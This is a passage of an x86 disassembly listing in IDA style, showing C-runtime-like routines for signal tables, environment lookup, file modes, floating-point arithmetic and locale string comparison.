					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E0622h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0622h
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2820000h
		nop
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

